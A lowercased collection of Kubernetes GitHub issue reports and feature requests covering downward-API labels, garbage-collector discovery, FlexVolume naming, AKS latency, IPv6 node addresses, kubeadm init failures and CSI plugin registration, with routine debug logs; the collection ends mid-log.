there doesn't appear to be one.  https://github.com/hashicorp/terraform/tree/master/builtin/providers

during the initial downward api implementation for environment vars, we decided to punt on exposing specific annotations/labels in environment variables because it would require container restart if those values changed, and we wanted to be able to change annotations/labels without restarting containers.  during an f2f meeting today, we decided to just implement this with the caveat that env vars are not updated, period. this issue is to do that implementation.  proposed syntax:      yaml apiversion: v1 kind: pod metadata:   name: dapi-test-pod spec:   containers:     - name: test-container       image: gcr.io/google_containers/busybox       command:   \ /bin/sh\ , \ -c\ , \ env\          env:         - name: some_annotation           valuefrom:             fieldref:               fieldpath: metadata.annotations k8s.io/some-annotation          - name: some_label           valuefrom:             fieldref:               fieldpath: metadata.labels some-label    restartpolicy: never      @erictune @thockin @bgrant0607 @smarterclayton

the parameter lists in kubefed are getting unwieldy, and making it harder to update and understand them. we should figure out a good set of parameter objects that make it easer to follow the data flow.\r \r i think this can wait until the outstanding kubefed prs are merged in, in order to avoid a string of rebases.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r    failedmount error \r    googleapi: error 400: the disk resource \r    failed to attach volume \r \r ---\r \r    bug report \r \r   kubernetes version    use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r - 3 node google container engine cluster\r \r   what happened  :\r   install a chart that uses persistent volumes. \r   the volume attaches to a node where the pod lives. \r   perform a  helm upgrade  which creates a job that mounts in said persistent volume  after deleting the pod that had the attachment \r   first time this is done everything works fine and the volume is mounted in to the job and we migrate the data\r   perform another  helm upgrade  this time the job never starts because the job is assigned to a node where the volume mount does not exist. \r \r   what you expected to happen  :\r   the pod starts with the volume mounted correctly\r   if there is a failedmount error it kills the pod and tries to restart like a normal pod error state.\r \r   how to reproduce it    as minimally and precisely as possible :\r going to work on a solid way to reproduce this and i'll update this issue when i have it.

will allow us to continue moving get to the server side and reusing the code.  each resource type can be done as a separate commit / pr.

currently every 30s, the garbage collector pauses all its workers, invalidates its discovery cache,  re-discover the api, waits for all the informers to be synced  i.e., waits for informers finish initial list , then resumes working. the process is expensive, costs 10~30 seconds according to the logs of presubmit tests  https://github.com/kubernetes/kubernetes/issues/49966 issuecomment-319505816 . \r \r ideal mechanisms that won't make 1.8:\r   one way to optimize it is to only redo the discovery if the api actually changes. after the etag supports in https://github.com/kubernetes/kubernetes/pull/47353 gets accepted, every 30s, the garbage collector could query if the swagger spec has changed, and only continues the rediscovery if the apiserver indicates the client cache is stale.\r     blocking issue: custom resource is not in the openapi https://github.com/kubernetes/kubernetes/issues/47426\r   or we can use the watchable discovery api  https://github.com/kubernetes/kubernetes/pull/45659, https://github.com/kubernetes/community/pull/617 , but they are not going to be ready for 1.8\r \r temporary solution:\r   similar to https://github.com/kubernetes/kubernetes/issues/49966 issuecomment-319681399, use another goroutine to periodically re-discover, and resets the garbage collector if there are changes.\r

i've created two pods top of azure kubernetes cluster 1  application 2  ms sql server\r \r both pods are exposed via azure loadbalancer and both having external ips. i am unable to use the external ip in my application config file. but i can connect that sql server from anywhere. for some reason i am unable to telnet db ip from application container.\r \r the connection is getting timeout. but i can ping/telnet the db's cluster ip. so i have tried to use the db cluster ip in my config file to check if the connection is successful but no luck.\r \r could someone help me with this ?  sig/azure

the local pv provisioner is being updated to discover only real mount points  and not directories , that resolves some other related issues. https://github.com/kubernetes-incubator/external-storage/pull/499\r \r the related e2e tests using the local pv provisioner need to be updated accordingly.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r when installing a flexvolume driver that has a name like  apple/banana:orange   note the  :  in the name... because reasons  in the path  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/apple~banana:orange/banana:orange , the kubelet is able to initialize this driver.\r however, if i try to use it with a volume in a pod spec the kubelet logs are flooded with:\r \r > desired_state_of_world_populator.go:288  failed to add volume \ test\   specname: \ test\   for pod \ 71652f74-e536-11e7-9f16-0242ac110002\  to desiredstateofworld. err=failed to get plugin from volumespec for volume \ test\  err=no volume plugin matched\r \r unfortunately bumping up the kubelet logs doesn't help here.\r removing the  :  from the the driver name  and installing a new driver into the path with the changed name  works immediately.\r \r   what you expected to happen  :\r \r pod should be able to attach to a volume from this driver.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. install a example driver into  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/apple~banana:orange/banana:orange \r 2. create pod with this spec:\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: testflexvolume\r   namespace: default\r spec:\r   containers:\r   - name: testflexvolume\r     image: nginx\r     volumemounts:\r     - name: test\r       mountpath: /data\r     ports:\r     - containerport: 80\r   volumes:\r   - name: test\r     flexvolume:\r       driver: \ apple/banana:orange\ \r       fstype: \ nfs\ \r    \r \r   anything else we need to know?  :\r \r this appears to either be from either\r 1. an issue converting the driver path into a driver name in kubelet\r 2. an issue converting the volume driver name from the pod spec into a volume spec\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t18:09:00z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.2-docker.118+1239d98159da55\ , gitcommit:\ 1239d98159da5589eebab3f39f98409a8e424368\ , gittreestate:\ clean\ , builddate:\ 2017-12-14t20:04:42z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r aws, t2\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04.2 lts\r \r - kernel  e.g.  uname -a  :\r > linux bgoff-testkit-db0747-ubuntu-0 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r custom\r \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r kind bug\r >  \r \r   what happened  :\r service catalog in azure container service  aks  cluster\r $ kubectl get nodes \r  returns nodes after 5 mins;\r \r   what you expected to happen  :\r $ kubectl get nodes \r should return almost instantaneously \r \r   how to reproduce it  as minimally and precisely as possible   :\r install service catalog on a aks cluster \r \r   anything else we need to know?  :\r \r logs\r kubectl get nodes --v=10\r i0126 23:18:03.092245     179 loader.go:357  config loaded from file /home/ahmed/.kube/config\r i0126 23:18:03.094725     179 cached_discovery.go:117  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/servergroups.json\r i0126 23:18:03.095735     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/apiregistration.k8s.io/v1beta1/serverresources.json\r i0126 23:18:03.096621     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/extensions/v1beta1/serverresources.json\r i0126 23:18:03.097567     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/apps/v1beta1/serverresources.json\r i0126 23:18:03.098436     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/authentication.k8s.io/v1/serverresources.json\r i0126 23:18:03.099231     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/authentication.k8s.io/v1beta1/serverresources.json\r i0126 23:18:03.099910     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/authorization.k8s.io/v1/serverresources.json\r i0126 23:18:03.100329     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/authorization.k8s.io/v1beta1/serverresources.json\r i0126 23:18:03.100579     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/autoscaling/v1/serverresources.json\r i0126 23:18:03.100802     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/batch/v1/serverresources.json\r i0126 23:18:03.101106     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/certificates.k8s.io/v1beta1/serverresources.json\r i0126 23:18:03.101186     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/networking.k8s.io/v1/serverresources.json\r i0126 23:18:03.101396     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/policy/v1beta1/serverresources.json\r i0126 23:18:03.101776     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/rbac.authorization.k8s.io/v1beta1/serverresources.json\r i0126 23:18:03.101898     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/rbac.authorization.k8s.io/v1alpha1/serverresources.json\r i0126 23:18:03.102169     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/settings.k8s.io/v1alpha1/serverresources.json\r i0126 23:18:03.102245     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/storage.k8s.io/v1/serverresources.json\r i0126 23:18:03.104151     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/storage.k8s.io/v1beta1/serverresources.json\r i0126 23:18:03.104233     179 cached_discovery.go:70  returning cached discovery info from /home/ahmed/.kube/cache/discovery/aks_eus_aks_eus_rg_90ab37_0394e135.hcp.eastus.azmk8s.io_443/apiextensions.k8s.io/v1beta1/serverresources.json\r i0126 23:18:03.104399     179 round_trippers.go:417  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.9.1  linux/amd64  kubernetes/3a1c944\  -h \ authorization: bearer <bearer-token>\  https://<api-server>.hcp.eastus.azmk8s.io:443/apis/servicecatalog.k8s.io/v1beta1\r \r 23:18:03.104399     179 round_trippers.go:417  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.9.1  linux/amd64  kubernetes/3a1c944\  -h \ authorization: bearer <bearer-token>\  https://<api-server>.hcp.eastus.azmk8s.io:443/apis/servicecatalog.k8s.io/v1beta1\r i0126 23:18:33.790502     179 round_trippers.go:436  get https://<api-server>.hcp.eastus.azmk8s.io:443/apis/servicecatalog.k8s.io/v1beta1 503 service unavailable in 30686 milliseconds\r i0126 23:18:33.790527     179 round_trippers.go:442  response headers:\r i0126 23:18:33.790534     179 round_trippers.go:445      content-type: text/plain; charset=utf-8\r i0126 23:18:33.790541     179 round_trippers.go:445      content-length: 124\r i0126 23:18:33.790548     179 round_trippers.go:445      date: fri, 26 jan 2018 23:18:33 gmt\r i0126 23:18:33.806299     179 request.go:873  response body: error: 'dial tcp 10.0.17.253:443: i/o timeout'\r trying to reach: 'https://10.0.17.253:443/apis/servicecatalog.k8s.io/v1beta1'\r i0126 23:18:33.890206     179 request.go:1075  body was not decodable  unable to check for status : object 'kind' is missing in 'error: 'dial tcp 10.0.17.253:443: i/o timeout'\r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.7.7\r - cloud provider or hardware configuration:\r azure \r - os  e.g. from /etc/os-release :\r ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r  /area ipv6\r \r   what happened  :\r \r the node objects in a ipv6 cluster gets ipv4 addresses. this doesn't seem to affect function but it looks bad.\r \r    \r > kubectl get nodes -o yaml vm-004\r ...\r spec:\r   externalid: vm-004\r status:\r   addresses:\r   - address: 192.168.0.4\r     type: internalip\r   - address: vm-004\r     type: hostname\r   allocatable:\r     cpu: \ 2\ \r     ephemeral-storage: \ 1841976113\ \r     memory: 657368ki\r     pods: \ 110\ \r ...\r    \r \r if  hostnetwork: true  it becomes very visible for those pods;\r \r    \r   kubectl get pods -o wide\r name                               ready     status    restarts   age       ip               node\r cgen-deployment-7784d68dfb-2qq5q   1/1       running   0          33s       fd00:3000:1::2   vm-001\r cgen-deployment-7784d68dfb-fh6f2   1/1       running   0          33s       fd00:3000:3::2   vm-003\r cgen-deployment-7784d68dfb-lxnlh   1/1       running   0          33s       fd00:3000:2::2   vm-002\r cgen-deployment-7784d68dfb-vlmwj   1/1       running   0          33s       fd00:3000:4::2   vm-004\r ekvm-router-5xgcc                  1/1       running   0          37s       192.168.0.3      vm-003\r ekvm-router-mkbqb                  1/1       running   0          37s       192.168.0.4      vm-004\r    \r \r   what you expected to happen  :\r \r the addresses for nodes should be ipv6 addresses.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r make sure the hostname of the nodes resolves to  both  ipv4 and ipv6 addresses.\r \r start a ipv6 cluster\r \r check the address in the node object with  kubectl get node -o yaml node \r \r   anything else we need to know?  :\r \r if the hostname resoves to   only   ipv6 it works as expected, both node objects and  hostnetwork: true  pods.\r \r i suspect that a lookup on hostname is made and the first address entry is taken whenever it's ipv4 or ipv6. can't figure out if it is  kubelet  or other  --register-node=true .\r \r i also install the-hard-way without kubeadm on an own made system so i can have missed something and in that case i apologize for wasting your time, but it doesn't look that way.\r \r i am also aware that ipv6 is alpha, that's why i tested on 1.10-beta4 to see if the problem was already fixed. first discovered on 1.9.3.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.4\ , gitcommit:\ a2dacb6f846e9d64d02c5dc5ab3972287d337405\ , gittreestate:\ clean\ , builddate:\ 2018-03-14t05:58:05z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.4\ , gitcommit:\ a2dacb6f846e9d64d02c5dc5ab3972287d337405\ , gittreestate:\ clean\ , builddate:\ 2018-03-14t05:45:34z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r kvm vms on ubuntu 16.04. no cloud provider\r \r - os  e.g. from /etc/os-release :\r none  own minimum system \r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux vm-003 4.15.5  2 smp sat mar 3 17:24:14 cet 2018 x86_64 gnu/linux\r    \r - install tools:\r none\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r >  \r   what happened  :\r aug 02 23:36:09 ip-172-31-8-98 skc-boot.sh 1254 : + kubeadm init --config=/tmp/kubeadm.conf\r aug 02 23:36:14 ip-172-31-8-98 skc-boot.sh 1254 :  init  using kubernetes version: v1.11.1\r aug 02 23:36:14 ip-172-31-8-98 skc-boot.sh 1254 :  preflight  running pre-flight checks\r aug 02 23:36:14 ip-172-31-8-98 skc-boot.sh 1254 : i0802 23:36:14.928522    1672 kernel_validator.go:81  validating kernel version\r aug 02 23:36:14 ip-172-31-8-98 skc-boot.sh 1254 : i0802 23:36:14.928876    1672 kernel_validator.go:96  validating kernel config\r aug 02 23:36:15 ip-172-31-8-98 skc-boot.sh 1254 :  preflight/images  pulling images required for setting up a kubernetes cluster\r aug 02 23:36:15 ip-172-31-8-98 skc-boot.sh 1254 :  preflight/images  this might take a minute or two, depending on the speed of your internet connection\r aug 02 23:36:15 ip-172-31-8-98 skc-boot.sh 1254 :  preflight/images  you can also perform this action in beforehand using 'kubeadm config images pull'\r aug 02 23:36:49 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r aug 02 23:36:49 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r aug 02 23:36:49 ip-172-31-8-98 skc-boot.sh 1254 :  preflight  activating the kubelet service\r aug 02 23:36:49 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated ca certificate and key.\r aug 02 23:36:50 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated apiserver certificate and key.\r aug 02 23:36:50 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  apiserver serving cert is signed for dns names  ip-172-31-8-98.us-west-1.compute.internal kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 172.31.8.98 \r aug 02 23:36:50 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated apiserver-kubelet-client certificate and key.\r aug 02 23:36:50 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated sa key and public key.\r aug 02 23:36:50 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated front-proxy-ca certificate and key.\r aug 02 23:36:51 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated front-proxy-client certificate and key.\r aug 02 23:36:51 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated etcd/ca certificate and key.\r aug 02 23:36:51 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated etcd/server certificate and key.\r aug 02 23:36:51 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  etcd/server serving cert is signed for dns names  ip-172-31-8-98.us-west-1.compute.internal localhost  and ips  127.0.0.1 ::1 \r aug 02 23:36:51 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated etcd/peer certificate and key.\r aug 02 23:36:51 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  etcd/peer serving cert is signed for dns names  ip-172-31-8-98.us-west-1.compute.internal localhost  and ips  172.31.8.98 127.0.0.1 ::1 \r aug 02 23:36:51 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated etcd/healthcheck-client certificate and key.\r aug 02 23:36:52 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  generated apiserver-etcd-client certificate and key.\r aug 02 23:36:52 ip-172-31-8-98 skc-boot.sh 1254 :  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r aug 02 23:36:52 ip-172-31-8-98 skc-boot.sh 1254 :  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r aug 02 23:36:53 ip-172-31-8-98 skc-boot.sh 1254 :  init  this might take a minute or longer if the control plane images have to be pulled\r aug 02 23:37:33 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  it seems like the kubelet isn't running or healthy.\r aug 02 23:37:33 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  the http call equal to 'curl -ssl http://localhost:10248/healthz' failed with error: get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.\r aug 02 23:37:38 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  it seems like the kubelet isn't running or healthy.\r aug 02 23:37:38 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  the http call equal to 'curl -ssl http://localhost:10248/healthz' failed with error: get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.\r aug 02 23:37:48 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  it seems like the kubelet isn't running or healthy.\r aug 02 23:37:48 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  the http call equal to 'curl -ssl http://localhost:10248/healthz' failed with error: get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.\r aug 02 23:38:08 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  it seems like the kubelet isn't running or healthy.\r aug 02 23:38:08 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  the http call equal to 'curl -ssl http://localhost:10248/healthz' failed with error: get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  it seems like the kubelet isn't running or healthy.\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :  kubelet-check  the http call equal to 'curl -ssl http://localhost:10248/healthz' failed with error: get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                 unfortunately, an error has occurred:\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         timed out waiting for the condition\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                 this error is likely caused by:\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         - the kubelet is not running\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         - the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         - no internet connection is available so the kubelet cannot pull or find the following control plane images:\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                                 - k8s.gcr.io/kube-apiserver-amd64:v1.11.1\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                                 - k8s.gcr.io/kube-controller-manager-amd64:v1.11.1\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                                 - k8s.gcr.io/kube-scheduler-amd64:v1.11.1\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                                 - k8s.gcr.io/etcd-amd64:3.2.18\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                                 - you can check or miligate this in beforehand with \ kubeadm config images pull\  to make sure the images\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                                   are downloaded locally and cached.\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                 if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         - 'systemctl status kubelet'\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         - 'journalctl -xeu kubelet'\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                 additionally, a control plane component may have crashed or exited when started by the container runtime.\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                 to troubleshoot, list all containers using your preferred container runtimes cli, e.g. docker.\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                 here is one example how you may list all kubernetes containers running in docker:\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         - 'docker ps -a | grep kube | grep -v pause'\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         once you have found the failing container, you can inspect its logs with:\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 :                         - 'docker logs containerid'\r aug 02 23:38:48 ip-172-31-8-98 skc-boot.sh 1254 : couldn't initialize a kubernetes cluster\r aug 02 23:38:48 ip-172-31-8-98 systemd 1 : skc-boot.service: main process exited, code=exited, status=1/failure\r aug 02 23:38:48 ip-172-31-8-98 systemd 1 : failed to start skc-boot.service.\r aug 02 23:38:48 ip-172-31-8-98 systemd 1 : skc-boot.service: unit entered failed state.\r aug 02 23:38:48 ip-172-31-8-98 systemd 1 : skc-boot.service: failed with result 'exit-code'.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r kubernetes version 1.10 reported error with control plane version mismatch, so when i upgrade to 1.11.1 above error. \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: aws ec2\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : linux ip-172-31-8-98 4.4.0-1063-aws  72-ubuntu smp fri jul 13 07:23:34 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: helm\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r csi informer starting is not flag gated:\r https://github.com/kubernetes/kubernetes/pull/67803/commits/7d673cb8f0abc8896178dcdeeda393b61ee1e0c7 diff-f52821ec6236e86b02ca334533395c91r148\r \r this is spamming non-alpha clusters:\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-1-12/3/artifacts/e2e-3-a3bb5-master/kubelet.log\r    \r e0906 19:06:32.880784    6296 reflector.go:134  k8s.io/csi-api/pkg/client/informers/externalversions/factory.go:117: failed to list  v1alpha1.csidriver: get https://35.188.90.61:443/apis/csi.storage.k8s.io/v1alpha1/csidrivers?\r    \r \r   what you expected to happen  :\r informer starting  and even creation?  should be flag gated\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r from https://github.com/kubernetes/kubernetes/issues/71383 issuecomment-441796126, it took around a minute for the csi plugin to register. it would be good to understand why it took so long and if it's normal/expected.\r \r > timeline of events:\r > \r > test pod started getting processed by kubelet:\r >    \r > i1126 15:27:34.537403    1446 config.go:414  receiving a new pod \ pod-subpath-test-csi-hostpath-dynamicpv-mgnk_e2e-tests-csi-volumes-92vsl cc5409be-f18f-11e8-9a1b-42010a800002 \ \r >    \r > \r > it took a minute after the test pod was created for the csi driver to finish registering and mount to succeed, and then subpath event to trigger:\r >    \r > i1126 15:28:32.392198    1446 csi_plugin.go:116  kubernetes.io/csi: trying to validate a new csi driver with name: csi-hostpath-e2e-tests-csi-volumes-92vsl endpoint: /var/lib/kubelet/plugins/csi-hostpath-e2e-tests-csi-volumes-92vsl/csi.sock versions: 1.0.0, foundindeprecateddir: false\r > i1126 15:28:32.392254    1446 csi_plugin.go:137  kubernetes.io/csi: register new plugin with name: csi-hostpath-e2e-tests-csi-volumes-92vsl at endpoint: /var/lib/kubelet/plugins/csi-hostpath-e2e-tests-csi-volumes-92vsl/csi.sock\r > \r > i1126 15:28:32.433217    1446 operation_generator.go:567  mountvolume.setup succeeded for volume \ 